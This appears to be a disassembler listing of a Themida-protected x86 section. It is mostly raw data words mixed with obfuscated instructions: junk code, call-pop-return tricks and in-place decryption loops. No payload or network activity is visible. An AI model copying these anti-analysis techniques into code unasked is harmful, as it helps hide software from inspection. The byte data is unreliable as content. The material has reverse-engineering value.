		dd 493583CEh, 6A535041h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 92BFC356h, 8B91E05Fh
		dd 132329B5h, 0C6F08A06h, 1311E185h, 6A4706h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0EA8A67C3h
		dd 0B6B3799Ah, 0BA66F92Dh, 958B34ECh, 6133139h,	4E8h, 0D6882C00h
		dd 50F28BDCh, 50F18B60h, 0F616052h, 5ACA8B31h, 448B6158h
		dd 8B0424h, 448936B2h, 0B2560424h, 6A585EE6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0B41CC356h, 87E3F30Dh, 48A94F9Bh, 0FE8h, 0DA198900h
		dd 6D8B6E6Dh, 0C9145695h, 3D104B1Bh, 17DB58Bh, 35E0613h
		dd 132A15B5h, 0E9B5FF06h, 6A06131Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5C98C355h
		dd 5144239Fh, 0C8F83675h, 1ED19503h, 81660613h,	0F0022EEh
		dd 68Fh, 9952B00h, 8D06131Ch, 167C3385h, 0BEE28106h, 0FF783707h
		dd 699501D0h, 8906132Ch, 13226585h, 8D8D3106h, 0F061323h
		dd 580h, 3904BE00h, 85C6406Ah, 61311E1h, 50006A53h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 2756662Dh, 238DB523h, 4E80613h, 0FC000000h, 0F88986Ah
		dd 108Bh, 0BE900h, 94870000h, 0B373EB5Ah, 0A59B9510h, 12E8500Bh
		dd 0A000000h, 0D153FDA9h, 598C97D4h, 8159D758h,	0DC514DE3h
		dd 5A5E5730h, 424448Bh,	0F525050h, 5A585A31h, 5153008Bh
		dd 8A0Fh, 5A5A0000h, 4244489h, 5E9h, 94BF1C00h,	6658A9B2h
		dd 0B5FFD18Bh, 6131EE9h, 2C1D9533h, 958B0613h, 6131A7Dh
		dd 7C33858Dh, 800F0616h, 0Ch, 6820Fh, 0D6810000h, 3E8A67Ah
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B529A1C3h, 61315CDh, 6890Fh, 958B0000h
		dd 61325D1h, 3677858Dh,	6A0616h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 60F890C3h, 1C0D8529h
		dd 66600613h, 9458E881h, 896161F5h, 130D0985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 74D8878Ah, 6A206AA1h, 995FFFFh, 3506130Dh, 53504149h
		dd 22C185C7h, 10613h, 85C70000h, 613240Dh, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6131091h],	ecx
		clc
		mov	eax, [ebp+6131D51h]
		jno	$+6
		mov	large fs:0, eax
		sub	[ebp+6130179h],	esi
		cmp	dword ptr [ebp+6131F95h], 0
		jz	loc_601BA3
		mov	dx, 9EC2h
		mov	eax, [ebp+6130E81h]
		push	0
		push	eax
		call	sub_601B71
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_601B71	proc near		; CODE XREF: Themida_:00601B69p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_601B71	endp

; ---------------------------------------------------------------------------
		db 6Fh,	0Bh, 8Fh
		dd 0D638673Eh, 9607800h, 1301418Dh, 0C5BD2B06h,	61061322h
		dd 8B66E08Bh, 80F681D7h
		db 0E9h, 5Eh, 5Ch
; ---------------------------------------------------------------------------


loc_601BA3:				; CODE XREF: Themida_:00601B56j
		cmp	dword ptr [ebp+6131129h], 0
		jnz	loc_601FA0
		push	edx
		pusha
		mov	esi, [ebp+6130A2Dh]
		popa
		pop	esi
		mov	byte ptr [ebp+61311E1h], 56h
		push	edx
		pop	edx
		push	69518EF2h
		jnp	loc_601BD0
		mov	edx, eax


loc_601BD0:				; CODE XREF: Themida_:00601BC8j
		add	dword ptr [esp], 4073A1EDh
		sub	edx, [ebp+6132085h]
		push	dword ptr [ebp+6131EE9h]


loc_601BE3:				; CODE XREF: Themida_:00601C59j
		add	esi, [ebp+6130DA5h]
		pusha
		mov	bx, dx
		mov	ecx, [ebp+6131AD5h]
		popa
		lea	eax, [ebp+6167C33h]
		mov	[ebp+613216Dh],	esi
		call	eax
		mov	esi, [ebp+6132CCDh]
		push	eax
		mov	dh, ch
		mov	[esp], eax
		call	near ptr loc_601C1E+2
		adc	[eax-64BD15FEh], edi
		mov	eax, 0C96B469Ch


loc_601C1E:				; CODE XREF: Themida_:00601C0Ep
		and	[ecx+0Fh], ah
		mov	edi, 8D8D5EF3h
		cmp	[edx], ebx
		adc	eax, [esi]
		push	0
		push	ebx
		call	sub_601C35
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_601C35	proc near		; CODE XREF: Themida_:00601C2Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_601C35	endp

; ---------------------------------------------------------------------------
		aam	0E4h
		mov	dh, 18h
		mov	bl, 27h
		dec	esi
		jmp	loc_601C63
; ---------------------------------------------------------------------------
		db 17h,	5Eh, 2Bh
; ---------------------------------------------------------------------------
		pop	eax
		sub	edx, esp
		sbb	dl, dl
		jnb	short loc_601BE3
		xchg	eax, ebx
		stosd
		dec	ebp
		test	eax, 77CDBDEh


loc_601C63:				; CODE XREF: Themida_:00601C4Cj
		jp	loc_601C6C
		movsx	esi, bx


loc_601C6C:				; CODE XREF: Themida_:loc_601C63j
		xchg	eax, ecx
		mov	dl, 50h
		push	eax
		jno	loc_601C7B
		mov	edx, 7B932822h


loc_601C7B:				; CODE XREF: Themida_:00601C70j
		xchg	eax, ecx
		push	0
		push	esi
		call	sub_601C87
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_601C87	proc near		; CODE XREF: Themida_:00601C7Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_601C87	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 13019D89h, 46A0613h,	0F60F28Bh, 68Ch, 119D8B00h, 61061315h
		dd 4E8h, 100000h, 8E800h, 0A8C90000h, 730F2D04h, 52501417h
		dd 6160310Fh, 505E585Ah, 1372FFBEh, 24448B3Ch, 0F78B6604h
		dd 11E8008Bh, 0E9000000h, 0F8A6EE70h, 5965FD8h,	9F8AEA9Ah
		dd 4F37C041h, 0E8F98B60h, 13h, 9D92654Bh, 6290A168h, 1DE411ECh
		dd 20060809h, 5E3C9784h, 44895E61h, 8C0F0424h, 5, 0D21CECBAh
		dd 85895857h, 61325F9h,	0DE9h, 0B2687800h, 94FFF415h, 63A8272h
		dd 0B5FFEDC2h, 6130BB9h, 34899589h, 0D0FF0613h,	4EEE8166h
		dd 0B9BD8B75h, 6606130Bh, 0B14FCA81h, 0BE3C7F03h, 1375003h
		dd 0F8C781h, 0B5890000h, 6130E31h, 202447C7h, 8B600000h
		dd 131AEDB5h, 6BBD8306h, 61B54h, 15E840Fh, 8F0F0000h, 2
		dd 0C783D78Bh, 0B1B58928h, 0C706132Eh, 696A2E07h, 56006A64h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0CFEECB62h, 0C7FC06F0h, 74610447h, 85890061h, 61323EDh
		dd 5473858Bh, 41B6061Bh, 6A0C4789h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 69CC357h
		dd 3A71F74Ch, 59958B13h, 6606130Fh, 858BF78Bh, 61B5477h
		dd 58E0Fh, 66520000h, 895AF78Bh, 958B0847h, 61315F5h, 2BC19531h
		dd 0C7830613h, 53006A28h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 66D60104h, 8E9D08Bh, 3F000000h
		dd 0EAEF3437h, 0C7490A8Dh, 6F632E07h, 8985016Eh, 0C7061301h
		dd 69660447h, 6A0067h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 57F6B4C3h, 0E5A860A9h, 6F858B82h
		dd 0B6061B54h, 0C47892Dh, 8BF6B70Fh, 1B546B85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 84DEA8B3h, 4789B845h, 53006A08h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 557B222h, 0A0A5EE41h
		dd 20FABA58h, 0B5893F13h, 6130EEDh, 9E18D8Dh, 870F0613h
		dd 0
		dd 50D18A91h, 5E8h, 2B2CF00h, 8B517F2Ch, 915A5AD3h, 0D419523h
		dd 0B5FF0613h, 6131A39h, 24559589h, 4E80613h, 0
		dd 0E9000010h, 8, 0B1329A3Dh, 0AC4E48F0h, 66536050h, 5B18B7B9h
		dd 5B73BF66h, 24448B61h, 0F78B6604h, 0B8BE008Bh, 891EA6D1h
		dd 60042444h, 9CBF6653h, 5E85B8Ah, 57000000h, 0FA16E893h
		dd 0EE42BF66h, 8958615Ah, 132A51B5h, 0B9B5FF06h, 0FF06130Bh
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 9D89E2B3h, 6130789h
; ---------------------------------------------------------------------------


loc_601FA0:				; CODE XREF: Themida_:00601BAAj
		mov	eax, 0
		jbe	$+6
		or	eax, eax
		jz	loc_602000
		push	0
		push	edi
		call	sub_601FBE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_601FBE	proc near		; CODE XREF: Themida_:00601FB6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_601FBE	endp

; ---------------------------------------------------------------------------
		bsr	esi, [eax]
		retf
; ---------------------------------------------------------------------------
		movsb
		movsb
		mov	[ebp+6131F35h],	ebx
		jmp	loc_601FE8
; ---------------------------------------------------------------------------
		pop	edx
		sub	eax, [eax+esi*4-7F56C866h]
		movsb


loc_601FE8:				; CODE XREF: Themida_:00601FDAj
		push	dword ptr [ebp+61313A9h]
		xor	[ebp+6131471h],	esi
		call	dword ptr [ebp+6131D89h]
		mov	[ebp+6132BC9h],	ecx


loc_602000:				; CODE XREF: Themida_:00601FADj
		mov	eax, eax
		sub	[ebp+6131DADh],	ebx
		cmp	dword ptr [ebp+6131625h], 0
		jnz	short loc_60201A
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_602033


loc_60201A:				; CODE XREF: Themida_:0060200Fj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+6133115h],	eax
		lea	ebx, [ebp+615A9E4h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_602033:				; CODE XREF: Themida_:00602018j
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_602053
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+6133115h],	eax
		lea	ebx, [ebp+615A685h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_602053:				; CODE XREF: Themida_:0060203Aj
		jno	loc_60205F
		mov	esi, [ebp+6130EA9h]


loc_60205F:				; CODE XREF: Themida_:loc_602053j
		push	0
		push	eax
		call	sub_60206A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60206A	proc near		; CODE XREF: Themida_:00602062p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_60206A	endp

; ---------------------------------------------------------------------------
		sub	[edx], bl
		add	[esi+ecx*2+7E9E9B18h], bl
		fmul	dword ptr [ebx-173F7440h]
		add	eax, 53000000h
		cli
		push	ebx
		db	64h
		push	ebp
		mov	esi, [ebp+6131311h]
		pop	eax
		mov	esi, 273DA984h
		add	eax, 6717h
		clc
		xor	ebx, ebx
		mov	edi, [ebp+61325A1h]


loc_6020AD:				; CODE XREF: Themida_:00602137j
		push	dword ptr [ebx+eax]
		and	edi, 5F633E44h
		pop	edx
		mov	edi, [ebp+6130E69h]
		xor	edx, 619F62AEh
		sub	edx, 51485DDEh
		mov	[ebp+61321EDh],	eax
		sub	edx, 734A2132h
		mov	[ebp+6131E4Dh],	edi
		mov	[eax+ebx], edx
		jle	loc_6020E9
		sub	si, 8B96h


loc_6020E9:				; CODE XREF: Themida_:006020DEj
		pusha
		cld
		mov	dx, di
		popa
		sub	ebx, 1
		sub	[ebp+613324Dh],	esi
		dec	ebx
		dec	ebx
		dec	ebx
		sub	edi, [ebp+6130DD1h]
		cmp	ebx, 0FFFF999Ch
		jnz	loc_60212C
		jmp	loc_602121
; ---------------------------------------------------------------------------
		dw 85E7h
		dd 95CA4382h, 243FCA0Dh, 0C5EC7629h
		db 0C2h
; ---------------------------------------------------------------------------


loc_602121:				; CODE XREF: Themida_:0060210Dj
		jmp	loc_602144
; ---------------------------------------------------------------------------
		dw 736Dh
		dd 2445480Dh
; ---------------------------------------------------------------------------


loc_60212C:				; CODE XREF: Themida_:00602107j
		push	eax
		jnz	loc_602136
		mov	cx, dx


loc_602136:				; CODE XREF: Themida_:0060212Dj
		pop	edi
		jmp	loc_6020AD
; ---------------------------------------------------------------------------
		dd 883C6772h, 0CB1AF5B2h
; ---------------------------------------------------------------------------


loc_602144:				; CODE XREF: Themida_:loc_602121j
		call	near ptr loc_602153+2
		xchg	eax, ecx
		dec	edi
		dec	edi
		popf
		and	dword ptr [edi], 1Eh
		pushf
		or	al, 62h


loc_602153:				; CODE XREF: Themida_:loc_602144p
		adc	[edx-74A52176h], cl
		popf
		rcr	dword ptr [esi], 1
		adc	eax, [esi]
		add	edx, 6187h
		jmp	loc_60217A
; ---------------------------------------------------------------------------
		db 63h,	68h, 0F7h
; ---------------------------------------------------------------------------
		sbb	eax, 0DE91846Ah
		mov	bl, 0ADh
		inc	esi
		pop	edx
		push	ebp
		cmc
		and	ebx, [edx-80h]


loc_60217A:				; CODE XREF: Themida_:00602164j
		xor	ecx, ecx
		mov	bx, 8E68h


loc_602180:				; CODE XREF: Themida_:006021E0j
		mov	edi, [edx+ecx]
		or	[ebp+61321B9h],	ebx
		add	edi, 1DDB5A67h
		mov	[ebp+6130659h],	ecx
		xor	edi, 74098886h
		sub	[ebp+6131F51h],	eax
		add	edi, 64ECD0DBh
		call	near ptr loc_6021B2+4
		les	edi, ds:0B13CBE55h


loc_6021B2:				; CODE XREF: Themida_:006021A7p
		ficom	dword ptr ds:800FAC4Ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		pusha
		popa
		pop	eax
		push	edi
		pop	dword ptr [edx+ecx]
		push	eax
		sub	eax, 7FFC5A1Dh
		pop	esi
		mov	eax, 7A25C7C6h
		sub	ecx, 3
		mov	eax, [ebp+6131091h]
		dec	ecx
		cmp	ecx, 0FFFF9F18h
		jnz	loc_602180
		mov	[ebp+6130E85h],	esi
		lea	ecx, [ebp+61B6001h]
		mov	[ebp+613312Dh],	ecx
		mov	[ebp+6131BBDh],	ecx
		jmp	loc_60220F
; ---------------------------------------------------------------------------
		aam	4Dh
		sub	al, 90h
		mov	edi, 0C1424814h
		fsubrp	st(3), st


loc_60220F:				; CODE XREF: Themida_:006021FEj
		mov	dword ptr [ebp+61318DDh], 597Ch
		push	0
		push	ebp
		call	sub_602224
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_602224	proc near		; CODE XREF: Themida_:0060221Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_602224	endp

; ---------------------------------------------------------------------------
		dd 39BBDD5Ch, 6E5E499h,	0C1BF0F3Bh, 158C0Fh, 10E90000h
		dd 7E000000h, 768BF9D3h, 8C7435AEh, 77173C64h, 0C70BA105h
		dd 13305585h, 6, 0EDBD8B00h, 0FF061321h, 131139B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 7ECC95C3h, 0FFA18EFEh, 131D8995h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 4E4FAA0Eh
		dd 8EE78DC9h, 85892488h, 6131719h, 95FF006Ah, 6130DA9h
		dd 6EEBC08Bh, 0C7166FE7h, 0B054E63Dh, 91E2D64Ah, 0BF89E84Ch
		dd 0B85DCA7Bh, 6FAD327Eh, 4DB56F9Ch, 36F52603h,	2A589678h
		dd 0A2100A1Ah, 40A9F794h, 319C793Dh, 5C48BEC9h,	6CFA22EFh
		dd 0D826DCFFh, 48E619CDh, 23118594h, 0F476A196h, 7AD9A86h
		dd 1FE54F87h, 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h
		dd 40A73ECFh, 0B4D8C74Bh, 0C1D73059h, 0EBE219h,	4A2E9h
		dd 0ACAA3800h, 0B49A2C0Eh, 0AAA03416h, 0BB95260Ch, 0ACA8351Bh
		dd 0FB101F0Eh, 0E2C8E66Eh, 80A20052h, 9BBD1D2Bh, 97A4024Ah
		dd 14C945B8h, 7F9216B9h, 0E16DBDE3h, 93C2E5C2h,	109DB537h
		dd 72EC9D00h, 3B109DB5h, 0DEC412DAh, 84A3004Ah,	9DB4F551h
		dd 955FBE10h, 7ED26147h, 69EB7A60h, 7ADA6749h, 9577B5Ch
		dd 4F99F849h, 3A3AFFDh,	20BE8A1Dh, 5A5A73Ah, 87F5AAD6h
		dd 13A38716h, 5F85B13Bh, 46B7D76Ah, 0A8374CCh, 40117095h
		dd 55B12403h, 1E0A8375h, 95A4AA3Ch, 65AE1574h, 7C9D9B2Dh
		dd 22B1A32Dh, 0D4823468h, 389AE23Ch, 7796A7A5h,	0A8924716h
		dd 900A7B17h, 0C90A8373h, 83743A94h, 0B582030Ah, 0B4913150h
		dd 73E86293h, 6CB10A83h, 2358E147h, 21AB672Bh, 1DBACC15h
		dd 73F849E8h, 9C755A10h, 9AC7746Bh, 0D99FF41h, 0DDBCF40Eh
		dd 0FE5CADBCh, 55047021h, 5C1C40B9h, 3E509387h,	1672EC21h
		dd 0DA3B0470h, 160E88FDh, 0B6D70470h, 1A0F72Eh,	0BD4B0000h
		dd 8A55E470h, 0F0406245h, 2AB2D362h, 9DB58BDBh,	0ED83AC10h
		dd 0FABB27DBh, 1E7FCD60h, 972127BCh, 587ACB4Ah,	46674705h
		dd 29BBD464h, 90F14021h, 25AF992Eh, 0DAAA233h, 875FBB2Ah
		dd 2728109Eh, 9E875CB6h, 81E02510h, 558CA837h, 40B59231h
		dd 109E86C6h, 99C60E8Fh, 8F919D64h, 66496E16h, 0F863A6F5h
		dd 8508656Fh, 0FD2B0126h, 0C14643D9h, 0A19C126Ch, 885031F7h
		dd 0EB67F5D9h, 6BE9785Ah, 60D9F9DAh, 587A5F75h,	0D8FA4B09h
		dd 0A7C684h, 7DB00D60h,	18B55B8h, 6CFBDF88h, 95BB726h
		dd 0E1240A8Bh, 0C3163880h, 0F4ED2989h, 0CE2446CCh, 160F266h
		dd 7FBE33A2h, 27107Ch, 0D22777F5h, 77F4FC19h, 0B6034716h
		dd 70C189DBh, 6C537011h, 0A94161D7h, 490B5ADBh,	0F0F899F8h
		dd 4ADDC5E2h, 0A62E6FFEh, 1E2F25B4h, 1EBDC522h,	0A21A6239h
		dd 0E81DA6F7h, 4785F6Eh, 2DB7D637h, 9C2B0F30h, 5F9EA5B4h
		dd 8341B5ADh, 95F4FC9Dh, 4789369h, 0E51AEDD2h, 0CA9BB705h
		dd 12CB644Bh, 4C4C6A0Bh, 75527115h, 3138E34Ah, 1EA6B530h
		dd 68C482EFh, 98272B0Ah, 8BEA66F5h, 0E7775BBAh,	13370667h
		dd 0A308EC6h, 6CC899BBh, 684C4973h, 6F725FCCh, 840048h
		dd 5644D6Eh, 37A689A6h,	0FE64B7DBh, 285761A4h, 0FE64B7E2h
		dd 0C3C8FB3h, 0B52827C4h, 0FE64B759h, 4714408Dh, 2708A7C6h
		dd 64B75CB6h, 0D8E025FEh, 8BFADDFAh, 0FE64B70Fh, 0C011B5D8h
		dd 945CBD8Ch, 4161F342h, 5FE93E64h, 0BEA3CB95h,	6F7AEBC8h
		dd 98168EBCh, 1E2F21B2h, 8BCF9EFFh, 90FE4F3Ah, 8AA6015Dh
		dd 2A4BCA0Ah, 0A8DDFA1Bh, 0A8AA62Eh, 0D7F796F7h, 0D61152EDh
		dd 44C24BACh, 850A8AA6h, 0EA7B0A9Dh, 0D3B2D362h, 0D676C709h
		dd 0CD7FD2F8h, 45075A7Ch, 7840EF4h, 67E97A60h, 2B2DB7D6h
		dd 0F060EF9Ah, 0BC103291h, 0BC18468Eh, 5AAD1BFCh, 2E64h
		dd 62507700h, 0ADFBB2AFh, 0A34B15DFh, 0C4EBC8BEh, 0B92EB4D6h
		dd 8ECB158Ah, 8F95B65Fh, 0A6331716h, 1F7E9FAEh,	93B90C4Eh
		dd 0F1433h, 0BDBA0000h,	6F53E26Eh, 6F506EDEh, 8850F84Bh
		dd 0E26EBDCEh, 34FDDC5h, 91CE9BB9h, 9DB5065Ch, 6946C710h
		dd 7E5D8A3Eh, 6E76365Ch, 3FF7E0FFh, 5626C1F0h, 8F2234BCh
		dd 0EB7D29F7h, 0D5B48F22h, 0AD1E5084h, 11E6D10Eh, 8191F783h
		dd 33A2AF39h, 109E8FDBh, 7D5A799Ch, 0B79E5952h,	3B8EA489h
		dd 0A0C14011h, 316DE918h, 0D736109Eh, 680D1F7h,	0A19C1478h
		dd 725031D8h, 15C67308h, 6C000000h, 0C3E06CBDh,	0B51571E4h
		dd 0BFDE109Dh, 4194B635h, 9943AB0Bh, 54E571BDh,	0DC6DDF72h
		dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh
		dd 9EAF9B2Dh, 15242ABCh, 5D545522h, 4C581h, 0ED830000h
		dd 242C8704h, 75A1685Ch, 1C890000h, 30ED6824h, 4890000h
		dd 0A2BE5624h, 813ABF55h, 0E11AA9C6h, 0B9513Fh,	29000000h
		dd 59CE89F1h, 0D0C6C681h, 0F38980BBh, 4EC815Eh,	89000000h
		dd 4812424h, 424h, 53525800h, 41240481h, 5A019004h, 441EA81h
		dd 50890190h, 48B5A08h,	0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 97h
		dd 67A41C37h, 0B86760CEh, 61B647Fh, 0E0FFC503h,	787319D8h
		dd 7B72FE3Fh, 6AA9B422h, 68CF356Ah, 64642413h, 0F69ED7Fh
		dd 2B8DBAECh, 54B611Ch,	3B65464Bh, 3C973903h, 5D2C2644h
		dd 5853B431h, 782BCDE1h, 2EB15C60h, 6AFC2970h, 30C456DFh
		dd 7DDFBACCh, 1E379588h, 4E3E73A2h, 5AAE439Ch, 10A5DD50h
		dd 7573260Fh, 3FBA7A7Ch, 2E57567Bh, 26421BD1h, 4B0A0ACh
		dd 124ABA07h, 7FFE42ACh, 34AC60DDh, 19880Fh, 14E90000h
		dd 30000000h, 0E943B70Dh, 7BB5155Dh, 575AF808h,	0C3790A1Dh
		dd 0F869D78h, 0BF0FC1BFh, 0C68166D2h, 8166C1D2h, 0E9093EC6h
		dd 9, 55199A0Ah, 6EDB60B2h, 45E88129h, 0F7360E4h, 85h
		dd 0FC18A00h, 0A84h, 72B86000h,	8066A221h, 0F961B1F2h
		dd 93F28166h, 6E931h, 0BF4F0000h, 26155461h, 2645B960h
		dd 8B661BB8h, 0C18B61DEh, 0BEDA9DBEh, 0BE929h, 45700000h
		dd 6E3EE4DCh, 52A7F016h, 58F18170h, 0BF69E233h,	14590DC7h
		dd 225BB966h, 1AC98166h, 10E909h, 0DD4E0000h, 0E57DE5E5h
		dd 0DA093F45h, 4259C6FDh, 8B522FE8h, 0D68B5FD8h, 0E3C78166h
		dd 897BBBF5h, 92B64C26h, 12E952h, 0E6FB0000h, 48D140Ah
		dd 0F10025F0h, 2CB9053Fh, 4F49135Ch, 668DB358h,	0C981CE8Bh
		dd 271CA840h, 0FE9h, 0AE1D9300h, 30ABFD2h, 0BA95F9B5h
		dd 4B1A752Dh, 3BC78166h, 0FE986h, 0F9700000h, 0B3A6CB3Ah
		dd 0F97D91F5h, 177E178Dh, 2FBB6679h, 10E9FBh, 0CFE30000h
		dd 9F6B7C9Fh, 82283978h, 442DA3C8h, 860F0CABh, 1, 0F08166F8h
		dd 12B6D6BAh, 21F08166h, 92D18152h, 0FC388909h,	0BE8h
		dd 0B2DDDD00h, 82AB5278h, 3BF1C4F9h, 9E9h, 8ABF5200h, 0D3259552h
		dd 815BB92Eh, 2015F6F0h, 13E954h, 0F9F60000h, 0C848EA90h
		dd 6A0E37C9h, 56502D57h, 0CEE46CD9h, 0E9BAB587h, 9, 7D9B0D4Ch
		dd 3CDCA8Bh, 0D88166A6h, 8166C251h, 0E8BD38C7h,	0Ah, 97E517CAh
		dd 2DFAEDB7h, 0DE883B5h, 33000000h, 84110C41h, 0D5002936h
		dd 52ECF534h, 0EFF68166h, 8B5E5999h, 6660F9CBh,	61DAF0BAh
		dd 66606FB4h, 1B8FE8Bh,	6135903Eh, 0DE950h, 28780000h
		dd 2E11D6DBh, 0B6E6AFAFh, 5ECC923Ah, 18A0Fh, 80F50000h
		dd 7E943C0h, 0C4000000h, 0E004FD60h, 6E9DBCCh, 0B5000000h
		dd 15A525EFh, 0C18B668Dh, 0DE8h, 0A41F1E00h, 0C346C478h
		dd 0D326B9DFh, 0D78B89A1h, 0D18B665Fh, 9858C4BBh, 19820F5Bh
		dd 0E9000000h, 14h, 63D7420Eh, 0EA206C95h, 51A88CF8h, 0B0EB8191h
		dd 11CCF69Bh, 0F38B6660h, 495D3DBAh, 8A60617Bh,	0FF560FEh
		dd 8Dh,	0F616100h, 387h, 5EF95700h, 6E9h, 66F06F00h, 816B92F3h
		dd 57FCCFD0h, 208C0F6Bh, 0E8000000h, 14h, 75514423h, 19C8F836h
		dd 0DC72568Bh, 0F96B162Bh, 63526033h, 850Fh, 805A0000h
		dd 0B70FB4D9h, 0F0DB3CFh, 0B83h, 5820F00h, 0BB000000h
		dd 21F32D7Bh, 0CFD18166h, 6ABA6650h, 0F65B360h,	288h, 0F97B100h
		dd 0EE9DEB7h, 0C6000000h, 0F2D1492Dh, 9E04834Ch, 0AE9DD091h
		dd 0AEE98052h, 7E8h, 396DE700h,	887CCE4Bh, 5EC08166h, 860F5F00h
		dd 0
; ---------------------------------------------------------------------------
		stc
		mov	esi, ecx
		mov	ah, 0C8h
		movsx	edi, ax
		clc
		push	eax
		jmp	loc_602B8B
; ---------------------------------------------------------------------------
		db 20h
; ---------------------------------------------------------------------------
		xor	edi, [ecx-6]
		adc	[edx+7Dh], ecx
		movsb
		db	26h
		nop
		xor	[ebp+1391B382h], edx


loc_602B8B:				; CODE XREF: Themida_:00602B76j
		pop	edx
		jg	loc_602B97
		add	bx, 1C87h


loc_602B97:				; CODE XREF: Themida_:00602B8Cj
		pusha
		jnz	loc_602BA4
		jl	$+6


loc_602BA4:				; CODE XREF: Themida_:00602B98j
		jnp	loc_602BAD
		movzx	edi, bx


loc_602BAD:				; CODE XREF: Themida_:loc_602BA4j
		popa
		mov	si, 0A0E5h
		or	edi, 0B55153Fh
		jle	loc_602BBF
		cld


loc_602BBF:				; CODE XREF: Themida_:00602BB8j
		xor	ax, 0CB88h
		sub	si, 0BE96h
		js	loc_602BDB
		jb	loc_602BDB
		jno	$+6


loc_602BDB:				; CODE XREF: Themida_:00602BC9j
					; Themida_:00602BCFj
		jmp	loc_602BEA
; ---------------------------------------------------------------------------
		dd 0B316436Eh, 0D0494A65h
		db 0E5h, 7Ah
; ---------------------------------------------------------------------------


loc_602BEA:				; CODE XREF: Themida_:loc_602BDBj
		adc	esi, 60DF632h
		jmp	loc_602C04
; ---------------------------------------------------------------------------
		enter	36DBh, 0D6h
		push	es
		push	esi
		xchg	edx, [edx+ebx*2+10B373EBh]
		xchg	eax, ebp
		wait


loc_602C04:				; CODE XREF: Themida_:00602BF0j
		js	$+6
		jg	loc_602C12
		mov	dl, 7Ah


loc_602C12:				; CODE XREF: Themida_:00602C0Aj
		mov	cx, 66E5h
		mov	ax, 431Ah
		jmp	loc_602C28
; ---------------------------------------------------------------------------
		db 91h
		dd 193840BEh, 366805Bh
; ---------------------------------------------------------------------------


loc_602C28:				; CODE XREF: Themida_:00602C1Aj
		push	edi
		pop	esi
		mov	ecx, 1C1BB425h
		mov	di, bx
		jmp	loc_602C48
; ---------------------------------------------------------------------------
		db 0ACh
		dd 2C1A7CA0h, 1B1F9B37h, 3A779671h, 0EF2378D9h
; ---------------------------------------------------------------------------


loc_602C48:				; CODE XREF: Themida_:00602C32j
		jmp	loc_602C5A
; ---------------------------------------------------------------------------
		db 0D7h, 0E9h, 19h
		dd 4659C27Ah, 878A624Eh
		db 0D8h, 74h
; ---------------------------------------------------------------------------


loc_602C5A:				; CODE XREF: Themida_:loc_602C48j
		movzx	edi, ax
		jp	loc_602C6C
		jno	loc_602C6C
		mov	di, ax


